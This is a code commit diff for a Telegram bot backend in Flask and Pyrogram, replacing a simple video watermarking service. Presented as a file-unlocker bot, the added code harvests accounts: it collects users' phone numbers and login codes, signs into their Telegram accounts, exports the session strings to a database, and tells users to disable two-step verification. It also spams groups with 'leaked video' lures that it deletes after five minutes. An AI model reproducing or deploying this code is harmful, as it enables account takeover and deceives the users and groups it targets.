pmrony commited on
Commit
de04f2a
·
verified ·
1 Parent(s): 3ecda7f

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +1512 -62
app.py CHANGED
@@ -1,82 +1,1532 @@
1
  import os
2
- import subprocess
3
- import uuid
 
 
4
  import asyncio
5
- import shutil
6
- from fastapi import FastAPI, UploadFile, File, Form, Header, HTTPException
7
- from fastapi.responses import FileResponse, JSONResponse
8
- from telegram import Bot
9
- from telegram.request import HTTPXRequest
 
 
 
 
 
 
 
 
 
 
 
10
 
11
- app = FastAPI()
 
 
 
 
 
12
 
13
- SECRET_KEY = "MySecretWatermarkKey123"
 
 
 
14
  BOT_TOKEN = os.environ.get("BOT_TOKEN")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
15
 
16
- # হাই স্পিড কানেকশন পুল
17
- t_request = HTTPXRequest(connect_timeout=30, read_timeout=60, write_timeout=600)
18
- bot_instance = Bot(token=BOT_TOKEN, request=t_request) if BOT_TOKEN else None
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
19
 
20
- @app.post("/watermark")
21
- async def add_watermark(
22
- file: UploadFile = File(...),
23
- watermark_text: str = Form(...),
24
- chat_id: int = Form(...),
25
- api_key: str = Header(None)
26
- ):
27
- if api_key != SECRET_KEY:
28
- raise HTTPException(status_code=403, detail="Unauthorized")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
29
 
30
- unique_id = uuid.uuid4()
31
- input_path = f"in_{unique_id}.mp4"
32
- output_path = f"out_{unique_id}.mp4"
33
- thumb_path = f"thumb_{unique_id}.jpg"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
34
 
35
  try:
36
- # . ফাইল সেভ
37
- with open(input_path, "wb") as buffer:
38
- shutil.copyfileobj(file.file, buffer)
 
39
 
40
- # ২. সুপার ফাস্ট FFmpeg (Speed optimized)
41
- # crf 28 এবং preset superfast ভিডিও এডিটিং দ্রুত করবে
42
- cmd = [
43
- "ffmpeg", "-i", input_path,
44
- "-vf", f"drawtext=text='{watermark_text}':x=w-tw-20:y=h-th-20:fontsize=30:fontcolor=white@0.5",
45
- "-c:v", "libx264", "-preset", "superfast", "-crf", "28", "-c:a", "copy",
46
- "-movflags", "+faststart",
47
- output_path
48
- ]
49
- process = await asyncio.create_subprocess_exec(*cmd)
50
- await process.wait()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
51
 
52
- # ৩. থাম্বনেইল জেনারেট করা (ভিডিওর ২য় সেকেন্ড থেকে)
53
- thumb_cmd = ["ffmpeg", "-i", output_path, "-ss", "00:00:02", "-vframes", "1", "-y", thumb_path]
54
- thumb_proc = await asyncio.create_subprocess_exec(*thumb_cmd)
55
- await thumb_proc.wait()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
56
 
57
- # . আপলোড করার চেষ্টা (থাম্বনেইল সহ)
58
- if os.path.exists(output_path):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
59
  try:
60
- with open(output_path, "rb") as v, open(thumb_path, "rb") as t:
61
- await bot_instance.send_video(
62
- chat_id=chat_id,
63
- video=v,
64
- thumbnail=t, # থাম্বনেইল সেট করা হলো
65
- caption=f"✅ {watermark_text}",
66
- supports_streaming=True
67
- )
68
- return JSONResponse({"status": "success"})
 
 
 
69
  except Exception as e:
70
- # আপলোড ফেইল হলে মেইন বটকে ভিডিও এবং থাম্বনেইল ফেরত পাঠানো (Rare case)
71
- return FileResponse(output_path, media_type="video/mp4")
 
 
 
 
 
 
 
72
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
73
  except Exception as e:
74
- return JSONResponse({"status": "error", "message": str(e)}, status_code=500)
 
75
  finally:
76
- # ক্লিনআপ
77
- for path in [input_path, thumb_path]:
78
- if os.path.exists(path): os.remove(path)
79
 
80
  if __name__ == "__main__":
81
- import uvicorn
82
- uvicorn.run(app, host="0.0.0.0", port=7860)
 
1
  import os
2
+ import time
3
+ import queue
4
+ import threading
5
+ import requests
6
  import asyncio
7
+ import re
8
+ import urllib3
9
+ import subprocess
10
+ import logging
11
+ import json
12
+ import redis.asyncio as redis
13
+ from flask import Flask, jsonify, make_response, request, Response
14
+ from supabase import create_client
15
+ from pyrogram import Client, filters, enums, idle, utils
16
+ from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked, AuthKeyUnregistered, FloodWait
17
+ from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
18
+
19
+ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
20
+
21
+ log = logging.getLogger('werkzeug')
22
+ log.setLevel(logging.ERROR)
23
 
24
+ # ==================== PYROGRAM NEW ID RANGE FIX ====================
25
+ def get_peer_type_new(peer_id: int) -> str:
26
+ peer_id_str = str(peer_id)
27
+ if not peer_id_str.startswith("-"): return "user"
28
+ elif peer_id_str.startswith("-100"): return "channel"
29
+ else: return "chat"
30
 
31
+ utils.get_peer_type = get_peer_type_new
32
+ # ===================================================================
33
+
34
+ # ================= CONFIGURATION =================
35
  BOT_TOKEN = os.environ.get("BOT_TOKEN")
36
+ API_ID = int(os.environ.get("API_ID", 0))
37
+ API_HASH = os.environ.get("API_HASH")
38
+ SUPABASE_URL = os.environ.get("SUPABASE_URL")
39
+ SUPABASE_KEY = os.environ.get("SUPABASE_KEY")
40
+ BYSE_API_KEY = os.environ.get("BYSE_API_KEY", "133323knboif885fhgwxvf")
41
+
42
+ PREMIUM_CHANNEL_ID = -1002825744390
43
+ STORAGE_CHANNEL_ID = -1002825744390
44
+
45
+ BACKEND_URL = os.environ.get("BACKEND_URL", "https://mxvdo-forwardbot.hf.space")
46
+ WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
47
+ ADMIN_IDS = [7307789267]
48
+
49
+ app = Flask(__name__)
50
+ supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
51
+ admin_states = {}
52
+ temp_clients = {}
53
+
54
+ upload_mode = "telegram"
55
+ ffmpeg_available = True
56
+
57
+ # ================= AUTO SHARE VARIABLES =================
58
+ auto_share_running = False
59
+ auto_share_task = None
60
+ # =========================================================
61
+
62
+ try:
63
+ subprocess.run(["ffmpeg", "-version"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
64
+ except FileNotFoundError:
65
+ ffmpeg_available = False
66
+ print("⚠️ FFmpeg is not installed on this server! Video processing functions (blur, watermark) will be skipped safely.")
67
+
68
+ try:
69
+ main_loop = asyncio.get_running_loop()
70
+ except RuntimeError:
71
+ main_loop = asyncio.new_event_loop()
72
+ asyncio.set_event_loop(main_loop)
73
+
74
+ def run_async(coro):
75
+ future = asyncio.run_coroutine_threadsafe(coro, main_loop)
76
+ return future.result()
77
+
78
+ bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
79
 
80
+ # ==================== ROBUST DB QUERY WITH AUTO-RETRY ====================
81
+ async def db_query(func, max_retries=3):
82
+ last_error = None
83
+ for attempt in range(max_retries):
84
+ try:
85
+ return await asyncio.to_thread(func)
86
+ except Exception as e:
87
+ last_error = e
88
+ err_msg = str(e).lower()
89
+ if "terminated" in err_msg or "disconnect" in err_msg or "timeout" in err_msg or "connection" in err_msg:
90
+ if attempt < max_retries - 1:
91
+ await asyncio.sleep(1.5)
92
+ continue
93
+ raise e
94
+ raise last_error
95
+ # =========================================================================
96
+
97
+ # ==================== CORS MIDDLEWARES ====================
98
+ @app.before_request
99
+ def handle_options():
100
+ if request.method == 'OPTIONS':
101
+ return make_response()
102
+
103
+ @app.after_request
104
+ def add_cors_headers(response):
105
+ response.headers['Access-Control-Allow-Origin'] = '*'
106
+ response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS, PUT, DELETE'
107
+ response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization, apikey'
108
+ return response
109
+
110
+ # ==================== UNIVERSAL MEDIA HELPER ====================
111
+ def get_media_obj(msg):
112
+ if not msg: return None
113
+ if msg.video: return msg.video
114
+ if msg.animation: return msg.animation
115
+ if msg.document: return msg.document
116
+ if msg.audio: return msg.audio
117
+ return None
118
+
119
+ def get_msg_file_id(msg):
120
+ if not msg: return None
121
+ if msg.photo: return msg.photo.file_id
122
+ media = get_media_obj(msg)
123
+ if media: return media.file_id
124
+ return None
125
+
126
+ # ==================== CUSTOM VIDEO STREAMING ENGINE ====================
127
+ def get_file_stream(message_id):
128
+ q = queue.Queue(maxsize=10)
129
+ stop_flag = [False]
130
+
131
+ async def producer():
132
+ try:
133
+ if not bot.is_connected: await bot.connect()
134
+ msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
135
+ media = get_media_obj(msg)
136
+ if not media:
137
+ try: await asyncio.to_thread(q.put, None, True, 1.0)
138
+ except queue.Full: pass
139
+ return
140
+
141
+ async for chunk in bot.stream_media(msg):
142
+ if stop_flag[0]: break
143
+ put_success = False
144
+ while not stop_flag[0]:
145
+ try:
146
+ await asyncio.to_thread(q.put, chunk, True, 2.0)
147
+ put_success = True
148
+ break
149
+ except queue.Full:
150
+ continue
151
+ if not put_success: break
152
+
153
+ except Exception as e:
154
+ print(f"Error in stream producer: {e}")
155
+ finally:
156
+ if not stop_flag[0]:
157
+ try: await asyncio.to_thread(q.put, None, True, 1.0)
158
+ except queue.Full: pass
159
+
160
+ asyncio.run_coroutine_threadsafe(producer(), main_loop)
161
+
162
+ def consumer():
163
+ try:
164
+ while True:
165
+ try: chunk = q.get(timeout=15)
166
+ except queue.Empty: break
167
+ if chunk is None: break
168
+ yield chunk
169
+ except GeneratorExit: pass
170
+ except Exception as e: print(f"Consumer error: {e}")
171
+ finally:
172
+ stop_flag[0] = True
173
+ while not q.empty():
174
+ try: q.get_nowait()
175
+ except: break
176
+
177
+ return consumer()
178
+
179
+ @app.route('/stream/<int:message_id>')
180
+ def stream_video(message_id):
181
+ try:
182
+ async def get_media_info():
183
+ if not bot.is_connected: await bot.connect()
184
+ msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
185
+ media = get_media_obj(msg)
186
+ if media:
187
+ mime = getattr(media, 'mime_type', 'video/mp4') or 'video/mp4'
188
+ return media.file_size, getattr(media, 'file_name', 'video.mp4'), mime
189
+ return None, None, None
190
+
191
+ file_size, file_name, mime_type = run_async(get_media_info())
192
+ if not file_size: return "File not found or invalid message", 404
193
+
194
+ response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
195
+ response.headers['Content-Length'] = file_size
196
+ response.headers['Content-Type'] = mime_type
197
+ response.headers['Accept-Ranges'] = 'bytes'
198
+ response.headers['Content-Disposition'] = f'inline; filename="{file_name or "video.mp4"}"'
199
+ return response
200
+ except Exception as e:
201
+ return f"Error: {e}", 500
202
 
203
+ @app.route('/download/<int:message_id>')
204
+ def download_video(message_id):
205
+ try:
206
+ async def get_media_info():
207
+ if not bot.is_connected: await bot.connect()
208
+ msg = await bot.get_messages(STORAGE_CHANNEL_ID, message_id)
209
+ media = get_media_obj(msg)
210
+ if media:
211
+ mime = getattr(media, 'mime_type', 'application/octet-stream') or 'application/octet-stream'
212
+ return media.file_size, getattr(media, 'file_name', 'video.mp4'), mime
213
+ return None, None, None
214
+
215
+ file_size, file_name, mime_type = run_async(get_media_info())
216
+ if not file_size: return "File not found or invalid message", 404
217
+
218
+ response = make_response(Response(get_file_stream(message_id), mimetype=mime_type))
219
+ response.headers['Content-Length'] = file_size
220
+ response.headers['Content-Disposition'] = f'attachment; filename="{file_name or "video.mp4"}"'
221
+ return response
222
+ except Exception as e:
223
+ return f"Error: {e}", 500
224
+
225
+ # ================= FLASK API ROUTES =================
226
+ @app.route('/')
227
+ def index(): return "Bot, Media Uploader, and Real Session API is Running! 🚀"
228
+
229
+ @app.route('/api/jump')
230
+ def jump_to_telegram():
231
+ html_content = """
232
+ <!DOCTYPE html>
233
+ <html>
234
+ <head><title>Redirecting...</title><script>window.location.href = "tg://openmessage?user_id=777000";setTimeout(function() { window.close(); }, 500);</script></head>
235
+ <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
236
+ <div style="text-align:center;"><div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div><div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div></div>
237
+ </body>
238
+ </html>
239
+ """
240
+ return make_response(html_content)
241
+
242
+ @app.route('/api/videos')
243
+ def api_videos():
244
+ try:
245
+ res = supabase.table('videos').select('*').order('id', desc=True).execute()
246
+ return jsonify(res.data)
247
+ except Exception as e:
248
+ return jsonify([])
249
+
250
+ @app.route('/api/check_login', methods=['POST'])
251
+ def api_check_login():
252
+ data = request.json or {}
253
+ user_id = data.get('user_id')
254
 
255
+ async def check_user():
256
+ res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
257
+ if res.data:
258
+ session_string = res.data[0]['session_string']
259
+ temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
260
+ try:
261
+ await temp_client.connect()
262
+ await temp_client.get_me()
263
+ await temp_client.disconnect()
264
+ return {"status": "logged_in"}
265
+ except Exception:
266
+ try: await temp_client.disconnect()
267
+ except: pass
268
+ await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
269
+ return {"status": "not_logged_in"}
270
+ return {"status": "not_logged_in"}
271
+
272
+ try:
273
+ result = run_async(check_user())
274
+ return jsonify(result)
275
+ except Exception as e: return jsonify({"status": "error"})
276
+
277
+ @app.route('/api/send_code', methods=['POST'])
278
+ def api_send_code():
279
+ data = request.json or {}
280
+ phone = data.get('phone')
281
+ user_id = data.get('user_id')
282
+ if not user_id or str(user_id) == '123456': return jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})
283
+
284
+ async def process_send_code():
285
+ if phone in temp_clients:
286
+ try: await temp_clients[phone]['client'].disconnect()
287
+ except: pass
288
+ client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
289
+ await client.connect()
290
+ try:
291
+ code_info = await client.send_code(phone)
292
+ temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
293
+ return {"status": "ok", "hash": code_info.phone_code_hash}
294
+ except Exception as e:
295
+ try: await client.disconnect()
296
+ except: pass
297
+ return {"status": "error", "msg": str(e)}
298
+
299
+ try:
300
+ result = run_async(process_send_code())
301
+ return jsonify(result)
302
+ except Exception as e: return jsonify({"status": "error", "msg": str(e)})
303
+
304
+ @app.route('/api/verify_code', methods=['POST'])
305
+ def api_verify_code():
306
+ data = request.json or {}
307
+ phone = data.get('phone')
308
+ user_otp = data.get('otp')
309
+ user_id = data.get('user_id')
310
+
311
+ if phone not in temp_clients: return jsonify({"status": "error", "msg": "Session expired, request code again!"})
312
+
313
+ async def process_verify():
314
+ temp_data = temp_clients[phone]
315
+ client = temp_data['client']
316
+ phone_hash = temp_data['hash']
317
+ try:
318
+ await client.sign_in(phone, phone_hash, user_otp)
319
+ session_string = await client.export_session_string()
320
+ try: await client.disconnect()
321
+ except: pass
322
+
323
+ await db_query(lambda: supabase.table('user_sessions').insert({
324
+ "user_id": user_id,
325
+ "phone": phone,
326
+ "session_string": session_string
327
+ }).execute())
328
+
329
+ if phone in temp_clients: del temp_clients[phone]
330
+ return {"status": "ok"}
331
+
332
+ except SessionPasswordNeeded:
333
+ try: await client.disconnect()
334
+ except: pass
335
+ if phone in temp_clients: del temp_clients[phone]
336
+ return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
337
+ except PhoneCodeInvalid: return {"status": "error", "msg": "Invalid OTP Code!"}
338
+ except PhoneCodeExpired:
339
+ try: await client.disconnect()
340
+ except: pass
341
+ if phone in temp_clients: del temp_clients[phone]
342
+ return {"status": "error", "msg": "OTP Expired! Request again."}
343
+ except Exception as e:
344
+ try: await client.disconnect()
345
+ except: pass
346
+ if phone in temp_clients: del temp_clients[phone]
347
+ return {"status": "error", "msg": str(e)}
348
+
349
+ try:
350
+ result = run_async(process_verify())
351
+ return jsonify(result)
352
+ except Exception as e: return jsonify({"status": "error", "msg": str(e)})
353
+
354
+
355
+ async def save_progress(source_id, dest_id, msg_id):
356
+ try:
357
+ res = await db_query(lambda: supabase.table('clone_progress').select('id').eq('source_id', source_id).eq('dest_id', dest_id).execute())
358
+ if res.data:
359
+ await db_query(lambda: supabase.table('clone_progress').update({'last_copied_id': msg_id}).eq('id', res.data[0]['id']).execute())
360
+ else:
361
+ await db_query(lambda: supabase.table('clone_progress').insert({'source_id': source_id, 'dest_id': dest_id, 'last_copied_id': msg_id}).execute())
362
+ except Exception as e: print(f"Error saving progress: {e}")
363
+
364
+
365
+ # ================= SMART AUTO SHARE LOGIC =================
366
+ async def auto_share_loop(client, delay=300):
367
+ global auto_share_running
368
 
369
  try:
370
+ bot_me = client.me if client.me else await client.get_me()
371
+ bot_link = f"https://t.me/{bot_me.username}"
372
+ except:
373
+ bot_link = "https://t.me/your_bot"
374
 
375
+ caption_text = (
376
+ f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n"
377
+ f"🎬 <b>Watch HD Video Here:</b>\n"
378
+ f"👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n"
379
+ f"🎁 <b>App এর ভেতর 'Secret Box' ওপেন করে Premium Channel Claim করুন!</b> 👇"
380
+ )
381
+ group_markup = InlineKeyboardMarkup([
382
+ [InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)],
383
+ [InlineKeyboardButton("🎁 Open Secret Box", url=f"{bot_link}?start=secretbox")]
384
+ ])
385
+
386
+ while auto_share_running:
387
+ try:
388
+ # ১. ডাটাবেজ থেকে সব গ্রুপ আনা এবং অ্যাডমিন পারমিশন চেক করা
389
+ groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
390
+ eligible_groups = []
391
+
392
+ if groups_res.data:
393
+ for g in groups_res.data:
394
+ gid = g['group_id']
395
+ try:
396
+ member = await client.get_chat_member(gid, "me")
397
+ # চেক করবে বট অ্যাডমিন কিনা এবং মেসেজ ডিলিট করার পারমিশন আছে কিনা
398
+ if member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
399
+ if member.privileges and member.privileges.can_delete_messages:
400
+ eligible_groups.append(gid)
401
+ except FloodWait as e:
402
+ await asyncio.sleep(e.value + 1)
403
+ except Exception:
404
+ pass # বট গ্রুপে না থাকলে বা ব্যান খেলে স্কিপ করবে
405
+
406
+ if not eligible_groups:
407
+ await asyncio.sleep(60) # কোনো এলিজিবল গ্রুপ না পেলে ১ মিনিট ওয়েট করবে
408
+ continue
409
+
410
+ # ২. স্টোরেজ থেকে ৫টি ভিডিও নেওয়া (dest_id = -1 ব্যবহার করা হচ্ছে গ্লোবাল ট্র্যাকিং এর জন্য)
411
+ progress_res = await db_query(lambda: supabase.table('clone_progress').select('last_copied_id').eq('source_id', STORAGE_CHANNEL_ID).eq('dest_id', -1).execute())
412
+ last_checked_id = progress_res.data[0]['last_copied_id'] if progress_res.data else 0
413
+
414
+ batch_to_send = []
415
+ current_id = last_checked_id + 1
416
+ highest_valid_id = last_checked_id
417
+
418
+ chunk_ids = list(range(current_id, current_id + 50))
419
+ try:
420
+ msgs = await client.get_messages(STORAGE_CHANNEL_ID, chunk_ids)
421
+ valid_messages_found = False
422
+
423
+ for msg in msgs:
424
+ if not auto_share_running: break
425
+ if msg and not getattr(msg, "empty", False):
426
+ valid_messages_found = True
427
+ highest_valid_id = msg.id
428
+ if msg.video or (msg.document and msg.document.mime_type and "video" in msg.document.mime_type) or msg.photo:
429
+ batch_to_send.append(msg)
430
+ if len(batch_to_send) == 5:
431
+ break
432
+ except FloodWait as e:
433
+ await asyncio.sleep(e.value + 1)
434
+ continue
435
+ except Exception as e:
436
+ await asyncio.sleep(5)
437
+ continue
438
+
439
+ if not batch_to_send:
440
+ if valid_messages_found and highest_valid_id > last_checked_id:
441
+ await save_progress(STORAGE_CHANNEL_ID, -1, highest_valid_id)
442
+ await asyncio.sleep(30)
443
+ continue
444
+
445
+ # ৩. এলিজিবল গ্রুপগুলোতে ৫টি ভিডিও সেন্ড করা
446
+ sent_message_ids = {} # { group_id: [msg_id1, msg_id2...] }
447
+
448
+ for msg in batch_to_send:
449
+ if not auto_share_running: break
450
+ for gid in eligible_groups:
451
+ try:
452
+ sent = await msg.copy(gid, caption=caption_text, reply_markup=group_markup)
453
+ if gid not in sent_message_ids:
454
+ sent_message_ids[gid] = []
455
+ sent_message_ids[gid].append(sent.id)
456
+ await asyncio.sleep(1) # ফ্লাডওয়েট এড়াতে স্লিপ
457
+ except FloodWait as e:
458
+ await asyncio.sleep(e.value + 1)
459
+ except Exception:
460
+ pass
461
+
462
+ if highest_valid_id > last_checked_id:
463
+ await save_progress(STORAGE_CHANNEL_ID, -1, highest_valid_id)
464
+
465
+ # ৪. ৫ মিনিট অপেক্ষা করা
466
+ for _ in range(delay):
467
+ if not auto_share_running: break
468
+ await asyncio.sleep(1)
469
+
470
+ # ৫. সব গ্রুপ থেকে পাঠানো ভিডিওগুলো ডিলিট করা
471
+ if auto_share_running:
472
+ for gid, msg_ids in sent_message_ids.items():
473
+ try:
474
+ await client.delete_messages(gid, msg_ids)
475
+ await asyncio.sleep(1)
476
+ except FloodWait as e:
477
+ await asyncio.sleep(e.value + 1)
478
+ await client.delete_messages(gid, msg_ids)
479
+ except Exception:
480
+ pass
481
+
482
+ except Exception as e:
483
+ print(f"Auto-share loop error: {e}")
484
+ await asyncio.sleep(5)
485
+
486
+ @bot.on_message(filters.command("startshare") & filters.private & filters.user(ADMIN_IDS))
487
+ async def start_sharing_cmd(client, message):
488
+ global auto_share_running, auto_share_task
489
+ args = message.command
490
+
491
+ if len(args) > 1 and args[1].lower() == "reset":
492
+ await save_progress(STORAGE_CHANNEL_ID, -1, 0)
493
+ await message.reply("🔄 <b>Progress reset!</b> The bot will now start sharing from the 1st video.")
494
+
495
+ if auto_share_running:
496
+ return await message.reply("⚠️ <b>Auto-share is already running!</b>\nUse `/stopshare` to stop it first.")
497
+
498
+ auto_share_running = True
499
+ auto_share_task = asyncio.create_task(auto_share_loop(client, 300))
500
+ await message.reply(f"✅ <b>Smart Auto-sharing started!</b>\n\n📌 <b>Target:</b> All Groups (Admin + Delete Permitted)\n📦 <b>Batch Size:</b> 5 videos\n⏱ <b>Interval:</b> 5 minutes\n\n<i>Bot will scan all groups, verify permissions, send 5 videos, and delete them automatically!</i>", parse_mode=enums.ParseMode.HTML)
501
+
502
+ @bot.on_message(filters.command("stopshare") & filters.private & filters.user(ADMIN_IDS))
503
+ async def stop_sharing_cmd(client, message):
504
+ global auto_share_running
505
+ if not auto_share_running:
506
+ return await message.reply("⚠️ Auto-share is not currently running.")
507
+
508
+ auto_share_running = False
509
+ await message.reply("🛑 <b>Auto-sharing stopped successfully!</b>", parse_mode=enums.ParseMode.HTML)
510
+
511
+
512
+ # ================= HELP COMMAND =================
513
+ @bot.on_message(filters.command("help"))
514
+ async def help_command(client, message):
515
+ user_id = message.from_user.id
516
+ is_admin = user_id in ADMIN_IDS
517
+
518
+ help_text = "🛠 **Bot Commands Help Menu**\n\n"
519
+
520
+ if is_admin:
521
+ help_text += "👑 **Admin Commands:**\n"
522
+ help_text += "👉 `/stats` - Check total users, videos, and groups.\n"
523
+ help_text += "👉 `/broadcast` - Send a message to all bot users.\n"
524
+ help_text += "👉 `/clone <source_id> <dest_id>` - Clone videos from one group to another.\n"
525
+ help_text += "👉 `/cloneall` - Mass clone all videos from all connected groups to Target Group.\n"
526
+ help_text += "👉 `/sendto <group_id>` - Reply to a media to forward it directly to a specific group.\n"
527
+ help_text += "👉 `/upload <telegram/byse>` - Change video upload server (Local or byse.sx).\n"
528
+ help_text += "👉 `/blur <percentage>` - Enable video/photo blur (e.g., `/blur 60`). Send `/blur 0` to disable.\n"
529
+ help_text += "👉 `/clean` - Scan and kick dead/deleted users from the Premium channel.\n"
530
+ help_text += "👉 `/startshare` - Start auto-forwarding 5 videos to the target group every 5 minutes.\n"
531
+ help_text += "👉 `/startshare reset` - Reset auto-forward progress to the first video.\n"
532
+ help_text += "👉 `/stopshare` - Stop the auto-forwarding process.\n\n"
533
+
534
+ help_text += "👤 **User Commands:**\n"
535
+ help_text += "👉 `/start` - Start the bot and get the WebApp link.\n"
536
+
537
+ await message.reply(help_text, parse_mode=enums.ParseMode.MARKDOWN)
538
+ # ================================================
539
+
540
+
541
+ # ================= TELEGRAM BOT COMMANDS =================
542
